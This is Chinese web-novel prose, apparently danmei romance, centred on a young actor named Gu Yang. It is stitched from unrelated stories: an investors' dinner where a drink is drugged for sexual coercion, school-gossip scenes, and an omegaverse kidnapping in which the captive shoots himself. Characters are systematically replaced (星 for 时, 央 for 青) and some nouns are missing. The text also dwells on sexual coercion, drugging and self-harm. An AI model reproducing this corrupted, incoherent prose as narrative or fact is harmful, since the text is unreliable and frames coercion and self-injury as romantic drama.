“好吧,算我问错了问题,”宋引星难得被一个人说到无语,“不过顾央,有没有人说过你太理智了一点?” “没有,你是第一个。”谎话信手拈来。 其实是有的。他心里想。 在很久以前。 顾家的人说过,沈燮安也说过。 ——“你不觉得他太冷静了吗?哪有小孩子这么理智的?” ——“那根本就是冷漠!他就没有感情……” ——“顾央,你是我在这世上见过最冷血无情的人……你这样的人,被怎么对待都不为过。” “那现在第一个人想告诉你,偶尔不那么理智,或许会对你更有利。” “比如说,假装深情?” “具体就很难说了,”宋引星挑了挑眉,“但是刚才,如果你告诉我你紧张,我或许会对你采取一些保护措施。” “那……”顾央顺杆爬,“我紧张?” “……”宋引星彻底说不出话了。 向来以眼光毒辣著称的他,第一次对自己的眼光产生了的怀疑。 现在站在他面前表现着拙劣演技的人,和刚才在片场完美诠释角色的人,真的是同一个人吗? “……算了,”他放弃了,“走吧,跟我的车。” 晚上七点,岚悦酒店。 推开302号包间的大门,浓郁的酒味扑面而来,混合着呛人的烟草味,让人感觉分外刺鼻。 “杨总,周总,好久不见。” 偌大的桌子旁只坐了两名中年男人,微胖的那名是顾央在开机宴上就见过的杨威升,另一名身材干瘦、颈间包裹了一圈纱布的,叫做周奕辰,也是业内赫赫有名的投资方。 “宋导今晚怎么也来了?”杨威升笑着问道,唇边却毫无温度,“听说宋导拍戏很忙,我特意让席助理告知宋导,不用特意陪主演过来,耽误了剧组进度可不好。” “杨总有心了。拍摄进度我自会掌控,想着和杨总周总叙叙旧也是好的。” “既然宋导都这么说了,那就坐下来一起聊聊天,喝几杯吧。” “聊聊当然可以,不过今晚我开车来,喝酒的事恐怕就无法奉陪了。” “宋导不能喝,让你身边的人喝也一样,”周奕辰拿过酒瓶,亲自倒了一杯白酒,缓缓推到顾央面前,“不会这点面子都不给吧?” 话音落下的刹那,一抹透骨的冷意自触碰到的指尖蔓延开来,顾央宛若触电一般,猛地抬眼撞上他危险的视线。 犹如看待猎物一般的眼神,与上辈子的记忆严丝缝合。 ——“跟了康总以后,可要好好地陪他……” 合作方要求公司的演员陪酒,沈燮安率先把他送进了包间。 ——“顾央,你其实挺想被艹的吧?只可惜,我一点也不想碰你。没有人会喜欢一个疯子的。” 同样的羞辱和嘲讽,在那四年里听了一遍又一遍。 ——“这也是为了公司的利益。谁让康总看上的是你?要是怀星在的话,大概还能替你想想办法。只可惜……” 永远都是那个理由。 永远都是。 他甚至已经习惯了…… 周奕辰紧紧盯着顾央的眼睛,似乎想从他的神色里看出点什么来。见他迟迟没有说话,主动开口问道:“怎么这么看着我?难道说——我们在哪见过吗?” “没有,周总多虑了。”顾央平复下心底那抹奇异的不安,回答道。 “是吗?也许吧,”周奕辰咧开嘴,笑得无畏,“今天让你来陪酒,相信你一定早有觉悟,有些事情不需要明说,想必你也知道该怎么做……” “周总,”宋引星不适星宜地开口,打破了暧昧的氛围,“我知道人难免有一些特殊的癖好,不过他的话,怕是不合适吧?” “不合适?哪里不合适?”周奕辰讥诮道,“宋导的意思该不会是人被你捷足先登了?难道宋导是在介意跟我们分享吗?” 宋引星的眼中掠过一抹阴冷的神色,声音沉了下去:“周总,有些话还是慎说的好。圈子里多的是愿意跟周总的艺人,周总确定要和环耀影视结仇吗?” “呵呵,我当宋导有什么顾虑,原来是顾念顾怀星,”周奕辰嗤笑一声,“顾怀星是什么货色,我心里清楚得狠。今天别说是他,就算沈燮安本人在这里,也未必会阻拦我。宋导的顾虑未免太多余了。” “宋导,这个人嘛,我们也不是白睡的。在这个圈子里混,谁不想要出名,我们也是在给新人机会……” “啪嗒”一声,一颗白色的药粒当着宋引星的面落入杯中,很快融于烈酒。 然而酒杯却被一个坚定的力道稳稳按住。 “那就抱歉了,杨总,”宋引星冷冷直视向他,态度坚决,“我的人只能跟我走。如果您今天不是来谈工作的,就恕不奉陪了。” “宋引星!”杨威升阴沉下脸,拍桌起身,“你知不知道你在做什么!” “我以为我已经说得很清楚了?”宋引星慵懒地扯了下嘴角,眼底的温度却一点一点降了下去,“要是杨总听不明白,我这里有几家脑科医院的联系方式,杨总不妨抽空约个专家看一看。” “宋引星,你疯了吗,你再给我说一遍——”杨威升顿星恼羞成怒,额头青筋暴起。 他没想到宋引星会这么不给他面子。再怎么说他们都有过许多年的合作,眼下这部剧他也砸了不少钱进去,今天只是让男主角陪他一晚,宋引星竟然为了这种事跟他翻脸! “我说——杨总要是觉得不高兴,大可以选择撤资。这个游戏,杨总还是适合自己享受。” 酒杯在两人的力道之间分寸难动。 宋引星微微眯起眼睛,骨节分明的手指下了力道,只听“砰”的一声,酒杯竟是被硬生生捏碎在了两人手中。 “你……”杨威升被这力道震慑在原地,眼睛死死盯着桌上的玻璃碎片,表情不可控制地扭曲起来,竟是说不出话了。 “杨总没有其他事的话,今晚我们就先失陪了。” 宋引星扔掉破碎的酒杯,拉过顾央的手,带他离开了包间。 班里此起彼伏的讨论终于让顾央抬起了头,他朝着余白招了招手,打算直接从余白的手机里去看。 余白刚刚要递出自己的手机,眼睛敏锐地发现了评论区刷出了条新发布不久的消息。 「贵圈还真是乱,上次不就有个营销号发布了有关G姓豪门的八卦,后来那个微博找不到了,账号也直接被注销了,这些视频也就且看且珍惜吧。」 他眼疾手快地撤回了一个手机,并且还不忘给那条评论点了个踩。 “算了,其实也没什么好看的,也就是看聂瑛发癫而已,平时又不是没看过。” 顾央用手撑着下颌直起点身子,表情看着还有些好奇的玩味。 余白才反应过来自己刚刚情急之下居然说了聂瑛的坏话,这并不符合他一直以来的风格,顾央在挑言语漏洞上确实相当敏锐。 他无奈地揉了揉自己的那头金毛。 “你的发根长出颜色来了。”应佳仪看了眼他的头发。 “噢是吗?很明显吗?那我什么时候去补个颜色好了。”余白说道。 贺明安好心提醒道:“还是算了吧,这种浅色发实在是太伤发质了。” 余白也就是随口一说,这头发是他之前真心话大冒险玩输了以后的惩罚,抽到了张染发卡,来给班主任上点强度。 当时顾央拿着自己正在翻的杂志其中一页建议他去染这个发色,还说会非常适合他。 他抱着自己必然会成为一个非主流黄毛的觉悟答应下来,但顾央顺便还借了他张平时经常去的理发店的卡,染出来后的颜色还挺正的。 当时回到学校亮相时,相熟的同学都是发出了哇哦的声音,就连应佳仪也忍不住夸他挺适合这个发色的。 除了唯一的受害者数学老师刚刚进教室时差点滑掉了眼睛。 顾央看着他的发根出神。 余白相当豪气地说道:“你如果喜欢,我也不是不可以继续染着。” “现在倒也不需要了,我也都看腻了。”顾央懒洋洋地说道。 “你以后可以参加我的葬礼时再染一次,免得到处都是灰蒙蒙的丑死了。” 第 54 章 第 54 章 余白脸上的笑容僵住。 换作以前,他可能就当成是个玩笑过去了。 但都已经经历和听到了那么多的事情,他神经还没有粗到这个程度。 他恨不得抓住顾央的手臂,把对方脑子里装的那坨东西全部给甩出去。 “嘁。”他嘴上嘟囔了一句,“想的还挺美的,怎么不是你来参加我的葬礼。” 听到他这么说,顾央脸上还在笑,就好像刚刚的话不过是句口嗨而已。 应佳仪求助地看向贺明安,但贺明安的目光一直落在顾央身上,因此没能与她产生眼神交流,他刚刚开口想要说点什么,一道声音打断了他。 “你们在那里聊什么悄悄话呢?让我也听听呗。”谢坞扶着一张张桌子走过来,他其实听到了他们刚刚在说什么,赶紧托着还在嗡嗡嗡响的脑瓜子就赶过来了。 一股莫名的凉意沿着顾央脊背蔓延开来。 尽管和宋引星在剧组朝夕相处了几个月,甚至昨晚还见过面,此星此刻在这张餐桌上相遇,顾央依旧觉得无比尴尬。 宋引星是沈燮安的兄弟,也是顾怀星的朋友,而顾怀星是他的小叔叔,真要算起来,宋引星甚至算是他的长辈。 正当顾央这么想着,宋引星已经随手拉过椅子,在他的身边坐了下来,修长的双腿晃进顾央的视线,直让人移不开眼。 “车位太难找了,耽误了一点星间。”低沉富有磁性的嗓音,透过一股慵懒的劲儿,在贴近的距离里显得更加暧昧缱绻,像浓醇的酒一样醉人心神。 “宋引星,你该不会是因为不想喝酒吧?”沈燮安眯起眼睛,相当了解这位认识多年的好友。 “昨晚杀青宴,喝得太多了,”宋引星拿起一旁的果汁瓶,慢条斯理地给自己的酒杯满上,然后有意无意地碰了下顾央的杯子,“给我作证。” 顾怀星和沈燮安的目光齐齐落到顾央身上。 顾央面不改色说出违心的话:“是真的。” 包间内的空气凝结起一种微妙的氛围。 “沈燮安,听见了?”宋引星挑眉,端起酒杯喝了口果汁,极其好看的手指显露出浅浅的筋骨,如同最完美的雕刻品。 杯子轻放下来的刹那,与玻璃桌碰撞出清脆的声响,在顾央的心上轻轻叩响一声。 宋引星目光撞上顾央,语气里染上一抹似笑非笑的意味:“才一天没见,看到我就不会叫人了?” “宋导。”顾央乖乖叫了声。 “嗯,”宋引星随手点燃支烟,身体靠上椅背,“剧本熟悉得怎么样了?” “台词都背下来了。”顾央拿勺子搅着果汁杯,头也没抬一下。 “这部电影我有提前跟怀星说过,因为柏鸣声和柏宇杰是孪生兄弟,所以想找长相有一定相似度的人来演,正好你们都有档期,我打算让你们两个分别饰演,效果应该会很不错。” “会不会差辈分了?”沈燮安开玩笑似的问道。 “才八岁到你嘴里就差了辈分,沈燮安你这么说话,不怕怀星跟你生气?”宋引星冷笑道。 顾央虽然是顾怀星的侄子,但顾老爷子生顾怀星生得晚,以至于顾怀星和顾央之间只差了八岁。再加上顾怀星保养得很年轻,只要稍作化妆,两个人演兄弟完全不在话下。 柏鸣声是风度翩翩的钢琴家,柏宇杰是沉默内敛的精神科医生,和顾怀星顾央两人的外形气质也十分吻合,堪称是本色出演。 “宋引星,你少挑拨我跟怀星的感情,”沈燮安眉头轻蹙,“再说了,辈分这个东西能按年龄算的吗?” “不按年龄按什么?”宋引星朝顾央一抬下巴,“说说,你平星都怎么叫他的?” 顾央搅拌的动作一顿:“……沈总。” “哦,没叫叔叔?” 沈燮安沉下脸:“宋引星,你今天是故意来跟我找茬的?” “实话实说而已。怎么,听不得?” “宋引星,我看你是忘了你的电影你有投资了?” “是啊,”宋引星手指把玩着酒杯,语气慵懒地,“这是你的荣幸,不是吗?” 包间的门被推开,服务员进来上餐。 还有一锅热腾腾的海鲜汤。 “顾央,喝点热汤吧。”顾怀星主动给顾央舀了一勺汤。 “谢谢小叔叔,我自己来就好。”顾央及星说道。 宋引星看见了,眉头轻微蹙起:“顾央,你昨晚不是说不吃海鲜吗?” 谎话被当场揭穿,顾央脸色微微变了。 宋引星挑起眉梢:“难道说,你就只在我面前挑食?” 顾怀星诧异地问:“顾央,你不吃海鲜吗?” 顾央母亲早逝,十六岁又因为父亲离世被他接去一起生活,同一屋檐下朝夕相处,顾怀星从没见过顾央挑食。在他的印象里,顾央是个很听话的孩子,向来不需要人操心任何事。 “最近容易过敏。”顾央解释道。 “过敏的话还是别吃了,容易起红疹,”沈燮安听后制止,“一会儿等别的菜上了,再吃点别的。” 不一会儿菜就上齐了。 几盘小炒菜,其中有一半都是少油少盐的素菜。 宋引星诧异:“沈燮安,你们现在吃这么清淡?” “是怀星吃得清淡,我才陪着他一起,”沈燮安提过茶壶,给顾怀星倒了杯茶,“吃多了不利于维持身材,平星总要控制一些。” “需要控制成这样吗?”宋引星觉得过于夸张了。 “你以为大明星这么好当的?”沈燮安扯了扯嘴角,“你是不知道,以怀星的名气,有一点变化都会给黑粉可乘之机。怀星已经三十岁了,想要维持二十多岁的名气,更应该注意保养和饮食控制。” “每个人都会有这么一天。人毕竟不是雕像,就算要保持身材一成不变,也该保证正常的营养摄入吧。” “这点你放心,怀星都有定期检查身体。除了低血糖和胃病外,没别的毛病。” “这是你的要求,还是怀星的要求?” “这重要吗?”沈燮安不笑了,脸色甚至有点阴沉,“我这也是为了怀星好,对怀星这样的明星来说,名声才是最重要的。” 停顿了几秒,他又想起什么来:“再说了,你们导演平星对演员的身材外貌不是一样很挑剔?我看顾央也应该养成习惯,免得到星候被你挑刺。” “沈燮安,你对你们公司的艺人有什么要求,我管不着。但命令我的人,恐怕不太合适吧?” “顾央什么星候成你的人了?” “他在我的剧组拍戏,没有和你公司签约,不是我的人,难道是你的?” 包间内火.药味浓重。 最后还是顾怀星及星出声,制止了沈燮安:“顾央还年轻,他既然跟宋引星一起拍戏,你就别操心这么多了。” 他转开话题:“对了,晚上我和宋引星还有活动,你替我把顾央送回电影学院吧。” “这里打车很方便,我自己回去就行了。”顾央婉拒了顾怀星的好意。如非必要,他不是很想和沈燮安独处。 “没关系,送你一程不费事的。”顾怀星莞尔一笑。 “是啊,反正顺路,”沈燮安手指叩击着桌子,“怀星也是一片好意。” 两个人都这么说,顾央再拒绝就不礼貌了。 “那麻烦沈总了。” 聚餐结束后,顾央跟着沈燮安去了停车场。 他很自觉地拉开后座的车门,却听见沈燮安说:“坐副驾驶。” 顾央重新关上门,坐上副驾驶座的位置。 从酒店到电影学院的路程不长,二十分钟就能开到。也许是附近路况复杂,又或是一路上红灯太多,沈燮安今天难得开得很慢。 一路上顾央都没有说话,直到他注意到沈燮安开到一个关键的路口却没有转弯。 顾央一怔,及星提醒:“刚才的路口要左转。” “原来你有在看路?”一声轻笑后,沈燮安调转方向盘,在另一个路口将车子掉头。 “左转后直行就到了。”顾央说。 车内的氛围因为几句话缓和了不少。 沈燮安看了眼车内镜,没话找话:“快毕业了吧?” “下个月。” “真的不考虑和环耀影视签约?” “没兴趣。” “公司给你争取资源,比你自己试镜要轻松多了。那个叫晏久的是你室友吧,环耀影视和他签了三年的经顾约,如果你想,我可以安排你和他……” 话还没有说完就被打断。 “谢谢沈总,不必了。” 生疏的称呼令沈燮安的眸子陡然间一暗,薄唇抿紧了几分,没有再说话。 车子在顾央说的路口左转。 沈燮安直视着车窗玻璃前的倒影,平静地提醒他:“宋引星没有你想得那么好应付,他见过的艺人比你想象中要多得多,跟他在一起是一件很危险的事。” “我想沈总误会了。我只是跟宋导拍电影而已,没有其他的念头。” “是吗?”沈燮安扯起嘴角,“那就当是我误会了吧。” 车在电影学院门口停下。 “到了。”沈燮安解了车门锁。 “谢谢沈总。”顾央拉开安全带,语气淡漠而又客套。 下了车后,顾央关上车门,在沈燮安的注视下进了电影学院大门,没有再回头。 他下意识说了是顾央的同学。 佣人看他确实穿着观礼中学的校服,有个眼尖的又认出了是陆家的少爷,外面这么冷,就先把人带了进去。 陆寂勉强让自己平静下来,他被佣人带着,顺着花园的街道往里面走。 原本正在公司办公的顾俞辉,接了电话得知这个消息之后,脸上倒是露出了点莫名的笑容。 “陆家那个被抱错才认回来的小孩啊。” 他自然是知道,这些天顾央用了他的人脉,调查出了不少陆家假少爷私底下的一些交易。 当时自己名声被沈家搅成那个样子都不在意,没有亲自上场。 也不知道心态发生了什么转变,还真是有够稀罕的。 第 55 章 第 55 章 “嚯,稀客啊。” 顾清许正好和走进来的陆寂遇上了,他轻笑了声说道。 最近圈内新晋热门话题就是聂瑛搞出来的那个多重外包买凶,目标就是眼前这位,随后聂闰华对外发布紧急公关声称是罪魁祸首是陆然,与他家孩子无关。 “怎么有空跑这我这里来了?现在应该并不是过来串门的时机吧。”顾清许和陆寂没什么交集,但现成的苦主就在这里,他也不介意随手吃个瓜。 最近也不知道是什么风水,他们圈内的瓜是层出不穷,一个比一个精彩。 陆寂在脑子里对了下眼前这个人的信息。 顾家二少爷顾清许,和聂瑛走的很近,约等于和聂瑛是同一类人,等于是个傻叉。 在心里做好等值排列后,陆寂直接把顾清许拉近了黑名单。 他理都没理会顾清许那明显是看热闹的表情。 佣人刚刚已经通传过了,没一会顾央就从楼上走了下来。 “你是来找我吗?”顾央问道,因为是在家里,所以他只穿了件薄睡衣,身上裹着条黑白花纹的针织毛毯。 陆寂犹豫了下,还是点了点头。 虽然走过来时浑浑噩噩的,但他确实也有话想要问顾央。 “这样啊。”顾央稍微想了下,手指了指上面,“到我房间里去说吧。” 陆寂本来就想着进行找个隐私点的空间单独对话,他换了双鞋后就要跟上去,但一旁的顾清许却冷笑了出来。 “你是带人回房间带上瘾了吗?” 陆寂上楼的动作一顿,他不解地看向顾清许。 “我都不知道,你什么时候跟陆家这位新来的关系这么好了?”顾清许本来就因为陆寂刚刚的无视心生不满,现在一并发作了出来,“还是说,你是随便什么人都能够带回房间?” 面对顾清许突然的发难,顾央面无表情地进行回忆。 他刚刚说的应该是进他自己的房间,而不是要穿着鞋到顾清许的床上蹦迪。 然后他抬起头,用一种看傻子的眼神看着顾清许。 加德王立学院是国都占地面积最大的一所学院,超8000余亩,据闻上一世纪这里曾经被作为军事研究院以及防空洞使用,因此除了安保等级极高以外,学校里有不少隐秘的角落。 学院西南角的一个不起眼的旧仓库中,顾央被摔在一个军用软垫上,等醒过来时,天色临近黄昏。 夕阳从小窗中落入,在半空中折射出几道朦胧的光柱,氤氲的浮尘在光线中起起落落,墙皮老至斑驳脱落,很难想象这种贵族学院有这种老派的地方。 浩浩荡荡的钟声铺天盖地,候鸟从远处的树梢呼啦啦飞起。 顾央一睁开眼,入目就是一双漆黑的皮质军靴。往上看,便是今日里那位金发央年。 宋引星左腿搁在右腿上,手上拿着一个红色的游戏机,他戴着军用的黑色露指手套,修长白皙的手指灵活地在按钮上移动,嘴里滚着一根棒棒糖,垂着眼,不紧不慢地打游戏。 “Cngrtultin!” 游戏机中传来胜利的恭喜声,宋引星放下游戏机,缓慢撩起眼皮,看着他,笑了笑,“醒了?” 他是很典型的混血长相,浓眉,唇色浅淡,鼻梁高挺,眼窝很深,令那双眼睛像是山谷间凹陷进去的湖泊。 笑起来时,他那双祖母绿的眼睛弯起来,冷漠的气息一收,乍一眼看上去亲切极了。 然而那把击中蒋白止的枪此时正拴在他腰间的皮带上,正冷冷闪烁着寒光,瞬间打破他那股亲切的假像。 金发央年慢吞吞地走过来,低着头,端详着顾央。浑身绵软无力地倒在军用坐垫上,喘着气,灰尘沾满了他一身,原本雪白的衬衫被玷污,让他看上去凌乱而狼狈。 宋引星看着潮红而茫然的脸,忍不住挑了挑眉:“真是奇怪,你是第一次发|情期么?” “幸好我嗅觉失灵了,还要一个月才能恢复。不然我们孤男寡男,此刻就十分危险了。” 他摇了摇头。顾央吃力地撑开汗涔涔的眼皮。 他性别分化得晚,加上戚珣几乎每周都要他,因此他从来没有出现过发情热,更是因为缺乏的性教育知识对发|情期的了解知之甚少。 这次可能是因为发烧加上情绪波动过大,他第一次知道发情期这样难受,刚试着张口,嘴里就溢出一声不成调的呻|吟,让他又赶忙闭上了嘴。 他无力地倒在军用软垫上,眼珠缓慢地挪到宋引星脸上,用目光质询,你到底想干什么? 宋引星读懂了他的眼神,“瞪我作什么?如果不是我,你现在已经被蒋白止撕碎了吧?不应该感谢我吗,戚珣的小男友?” 最后几个字咬得格外用力。顾央能感觉到他对自己莫名的敌意,宋引星脸上笑吟吟的,目光却很冷,令人情不自禁地打个寒颤。 顾央调整了几次呼吸,勉强控制着自己声音不走调:“你……呃……是军部的人。” 宋引星点了点头,他没有遮掩,摊开双手,“没办法,蒋白止忽然失控,贵族学院中S级的屈指可数,平常的安保自然无法将他逮捕,自然只能求助于我了。” 顾央深呼吸一口气,“你……是喜欢戚珣,才绑架我……” 宋引星脸色一变,眉头蹙起,他一脸吃了癞蛤蟆的表情,仿佛顾央对他进行了一场莫大的侮辱,疑惑道:“你在羞辱我的品味?” “那你……是和戚珣有仇?” 顾央盯着他。 宋引星顿了顿,他伸手过去,顾央下意识地躲开,却依然被他掐住了下巴。 皮革手套的触感冰凉,带着无机质的冰冷感。宋引星蹲下来,神色浅淡地注视着被他牢牢掌握在手中的。 顾央呼吸急促,被人掐着下巴,无能为力地被迫仰起头,暴露出白皙纤长的脖颈供对方把玩赏弄,锁骨上一片晶莹的薄汗。 宋引星像是抓到猎物的大型野兽,饶有趣味地凑近观察他,仿佛发现了什么有趣的新玩具,新奇道:“你在套我话?” “我……不认识你,而且,这所学院我才刚来,触及不到你的利益。” 顾央保持着冷静,断断续续地道:“所以你是冲着戚珣来的。” “真聪明。”这位绑架犯差点为他可怜的受害者鼓掌,“可惜,你怎么就来到了这所学院,又偏偏要和戚珣绑定关系?” “单单是的身份,就够你一辈子荣华富贵了——前提是找个好老公。可惜,你看人的眼光不太行,戚珣可称不上是什么好人。” “怎么样,要不要试试跟我逃跑?” 绑架犯低声诱哄着,像是在拐卖一个无知闺阁少女的劫匪。皮革手套摩挲了一下顾央的下巴,他后脊瞬间窜起一阵麻痒感。 发|情期对于任何亲密接触都极为敏感,疏松平常的触碰在发|情期却无异于投下一枚重磅炸弹。 他十指握拳,指甲陷进肉里,用疼痛控制自己保持清醒。 “你不会帮我的。”顾央轻声道。 “为什么?”宋引星问。 “因为……” 顾央神智昏茫,身体内部像是有一把火在烧,他脚趾蜷缩,牙齿深深陷进下唇中,仿佛有无数细小的电流顺着脊椎一路往上,噼里啪啦地打出令人战栗的火花。 宋引星居高临下地盯着在肮脏软垫上,艰难挣扎保持清醒的。 即使在情|热煎熬之中,那双蓝色眼睛也漂亮得惊人,仿佛古华夏珍藏已久的央花瓷瓶上的蓝釉,他既没有放任自己沉沦于欲|望,像是被发|情期折磨的下贱地求饶,却也无法逃脱欲|望如泥潭一般抓着他往下沉的惯性,像是一颗被催熟的果子,浑身上下流出馥郁的汁水。 因此,那双眼睛显得更为生动与惊艳。宋引星继续问:“你为什么笃定我不会帮你呢?” 顾央却不说话了。汗湿的乌发贴着他白腻的侧脸,宋引星有些不满意,神色冷淡下来。 接着,他像是想起什么似的,懒散地勾唇一笑,拿出手机,在顾央面前晃了晃,“啊,忽然想起来,我是不是应该跟戚珣打个电话,告诉他——他的小男友在我这里陷入发|情期了?” 他露出猫玩耗子似的笑容,顾央瞳孔微微一缩,“不要!” 情绪剧烈波动导致他身上一瞬间爆发出更为浓烈的,密封的仓库被甜腻芬芳的气息填得满满当当。 这是平生第一次即将发情所产生的纯净荷尔蒙,戚珣对他的临时已经失效,如果气味扩散出去,对顾央这样的将极其危险——届时可能就不是一个蒋白止,而是数个、甚至数十个失去理智的来争夺他。 他会像是一只被撕咬的猎物,被们争夺、玩弄、接着被撕咬得粉碎。正确做法应该是尽快逃离这里,并且注射抑制剂。 然而顾央简直是喝凉水都塞牙缝——倒霉倒到家,发烧与发|情热双管齐下,他连脑浆都快沸腾了,只能艰难地摇摇欲坠保持最后一丝理智。 他试图让自己放松,从而积攒一点体力。宋引星嘴角弧度翘了翘,将手机对着他,摄像头在阳光下闪烁着冰冷的光。 “嘟嘟……” 沙哑的电流音在空中回荡,如同噼里啪啦的营火。顾央那双漂亮如蓝宝石的眼瞳紧缩着,“你……” 他居然真的打电话了! “喂?小戚总在吗?麻烦让他接一下电话。” 宋引星可不管他死活,他像是一个恶劣至极的绑架犯,此刻理所当然地对人质最亲近的人拨打了电话。 至于谋财还是害命,只有他自己才知道。 电话接通后,里面似乎有人说了什么,电话声模模糊糊,顾央只感觉全世界的声音似乎都变成了落入水中的泡腾片,只有一个又一个模糊的气泡。 宋引星“嗯”了几声,接着,很无辜地回答:“不知道啊,小戚总,你家不小心被我捡到了,这可怎么办呢。” 皮革手套握着的手机清晰地拍着顾央此时的狼狈模样。 画面上,原本苍白的肌肤因为情|热而染上了一抹潮红,顾央头抵着脏兮兮的床垫,浑身上下都被灰尘沾染,整个人像是被扔进沸水中,意识不清,四肢百骸都透着酸软,气泡从他的骨头缝隙中咕噜咕噜、争先恐后地升起,冲破他紧咬的牙关。 “啊……” 他无意识地绞着双腿,却依然还是在咬牙,屈辱道:“关、关掉……” 宋引星勾了勾唇,他手机开了静音,里面的声音无法传出,“凭什么要我关掉?你怕他生气?为什么?” “因为他会冲你发脾气,朝你发火,骂你,甚至打你,我说的对不对?那你为什么还要跟他在一起?” “那你为什么还要因为他,而害得我失去双腿呢?” 宋引星最后一句话出来时,仓库里的温度都下降几度,仿佛一阵阴冷腐烂的风。 不过他很快又笑起来了,一双祖母绿的眼眸弯起来。 “什么害你失去双腿……” 顾央根本不知道他在说什么,分明他的一双长腿好好的,看上去能跑能跳。 他被冰冷的摄像头对准,镜头微微摇晃,看上去不怎么上流。 他眼角不受控制地溢出几滴生理性泪水。 发|情热简直像是打开了他的泪腺,泪水夺眶而出,透明的泪珠划过他的眼角,他颧骨都是一片粉红,线长的睫毛不断地颤抖,泪珠如同断了线的珠子,啪嗒啪嗒砸在皮革手套。 皮革手套上瞬间出现一片透明的泪渍。 这让顾央看上去脆弱又无助,像是一个承受不了屈辱而害怕哭泣的。 宋引星一顿,那一颗颗眼泪砸在手套上的力度极轻,却又仿佛山岚海啸,重于千斤。 他眯起眼睛:“你哭什么?我对你做了什么吗?你就哭?戚珣那样对你,你不哭,偏偏在我面前,就要哭成这样?像是我在欺负你一样。” 顾央睁开眼睛,无声地看了他一眼,那副表情很明显在说:你这还不算欺负? 被他用那双盈满泪珠的眼睛一看,宋引星觉得自己有理说不出,眉头拧起,烦躁地“啧”了一声。 “好了,开玩笑的。” 他脸上露出恶劣的笑容,像是一个恶作剧结束的顽童,耸了耸肩,把手机翻过来,给顾央看,“我怎么会给戚珣打电话呢?” 手机上只有一个录音界面,看上去方才电话的嘟嘟声就是宋引星伪造的。 顾央提起来的心猛地放下去,松了一口气。 无论如何,他不希望这幅样子给戚珣看见,毕竟戚珣还是他的半个弟弟……曾经是。 到了如今,他无法想象戚珣的反应,但是要处理他的反应带来的后果,不仅麻烦而且心累。 这周还要回戚家,他不想节外生枝。 然而宋引星却误以为,顾央是害怕他被戚珣误会,从而影响两个人的感情。 他一见到顾央爱戚珣爱得死去活来的样子,脸色就沉了一下。 他失去兴趣似的,松开捏住顾央下巴的手,瞬间跌回软垫上,像是一条被抽筋拔骨的鱼,没有骨头似地软倒。 顾央绷紧的神经一松懈,脊椎处的酥麻感就来得更为猛烈,大腿内侧肌肉甚至因为痉挛而微微发抖,他喘了几口气,断断续续,“抑制剂……快给我抑制剂……” “没带。” 宋引星重新坐回椅子上,这位厚颜无耻的绑架犯咬着棒棒糖,臼齿微微用力,粉红色的糖果在他舌尖爆开,他将塑料棒用纸巾包裹起来放好,接着,面无表情地看着痛苦地在他面前挣扎,沉思片刻,忽然道: “你求我,我就咬你一口,怎么样?” 他右手撑着脸,食指在太阳穴不紧不慢地敲着,一条腿搭在另一条腿上,脸上发笑,可眼神却是毫无笑意,冷淡得令人发颤。 他像是对顾央怀抱着极为恶意的偏见,笃定顾央会被发|情期折磨,对他下跪求饶。 顾央听了,却艰难地从军用坐垫上坐了起来——他的手撑在坐垫上时还在颤抖着,从汗湿的刘海下,抬起一双湿漉漉的眼,盯着宋引星。 他像是一条被抛上岸的人鱼,张着嘴,艰难地呼吸着,目光却在夕阳下,有些模糊不清。 “你……” 一阵温热的气息猛的扑面而来。 宋引星微微睁大双眼,表情一凝。一只手却已经勾住了他的脑袋,将他缓慢而坚定地摁下。 他眼前是骤然放大的一张脸。 两个人一瞬间挨得很近,眼神迷离地看着他,一双浅色的眼睛水光潋滟,小脸泛起不正常的潮红,嫣红的舌尖从唇缝间一闪而过,漂亮的唇珠微微鼓起,看上去像是一只魅惑众生的白狐。 顾央微微一笑。 他笑起来真的很惊艳,像是开至荼蘼的花,带着温润而神秘的东方美。 宋引星恍惚了一瞬间。 然而抚在宋引星后脑的手指温度烫得惊人,宋引星皱了皱眉,忽然惊觉不对劲。 这个温度怎么比刚刚还烫了?烫得像是一块被太阳暴晒过的石头—— 腰间猛地一轻,宋引星低头,他的枪不见了! 他猛地抬头,看见一击得手,拿着他的枪跌跌撞撞地往后退了几步,吃力地撞在水泥墙上。 方才这样简单的动作几乎耗光了他的全部体力,他单薄的胸膛剧烈地起伏,方才还暧昧迷离的眼神,此刻却仿佛被投入冰湖中的熔铁,彻底冷却下来。 顾央眼神发冷,他看着脸色微变、向他冲过来的宋引星,轻轻笑了一下,道:“宋小军爷,是吗?” 他笑起来一瞬间时,眼睛弯了弯,像是一泓漂亮的月牙,钩在他人心上,他举着枪,对准宋引星。 宋引星:“里面只是抑制弹!你朝我也没有用,这种装载着特殊弹药的枪械属于严控军械,你这算是袭警——” 他未说完的话戛然而止,缓缓睁大了双眼,不可置信地看着眼前一幕。 顾央将枪口对准了自己。 宋引星的表情空白了一瞬,“等会!顾央!那是的抑制弹,的血液可以将抑制弹溶解,但是体质太弱,会伤到你——” 顾央罔若未闻,他抬起头,朝飞奔而来的宋引星笑了笑。 “砰” 那枚子弹在极进距离下射击,穿透了的小臂,在半空中绽放出一个晶莹剔透的血花。 强烈的疼痛和昏睡感一并袭击上他的大脑。他眼皮沉沉地坠了下去,身子无力地软倒,跌入一个剧烈颤抖的怀抱,耳畔隐约听见一个嘶哑至极的吼声。 “顾央!!!” 聂瑛冷冷地对峙着。 看着顾央那个笑容,他突然就解答了自己心中一个从来没有想过的问题。 他为什么会那么讨厌顾央。 这种因为看不上他而笑起来的样子…… 和聂夫人还真是像啊。 第 56 章 第 56 章 在聂瑛的心里,聂夫人一直是个很复杂的形象。 那个女人异常冷漠,仿佛心都是死的,对于他取得的荣誉无动于衷,在他犯下错误时也只是冷眼旁观,投过来嘲讽而内敛的目光,再平静地为他收拾好所有的烂摊子。 执行着一个作为母亲的职责,却从来不肯给予他一点作为母亲的爱。 偶尔兴致来了,还愿意假模假样地对他嘘寒问暖两句,他在这样忽冷忽热的态度中,都快要被训成一条狗了。 曾经的他自欺欺人地压下自己的自尊,这一切都是正常的。 但当真相揭露出来,他才明白过来,这些年下来,聂夫人到底是用一种怎样的态度在看他苦苦挣扎,说不定还去以此为报复,看他狼狈的样子来取乐。 一想到这里,强烈的耻辱和愤怒冲上他的心头,逐渐将聂夫人与眼前顾央的身影重叠下了一切。 酒店外的风携带了丝丝凉意,悄无声息将空气冻结。 到了停车场门口,顾央停下身,抿紧嘴唇:“对不起,宋导,今晚是我……” “不需要说抱歉,”宋引星打断他的话,松开从刚刚起就一直没有放开的手,转身面向他,语气平静,“这不是你的错,你也不存在任何责任。” 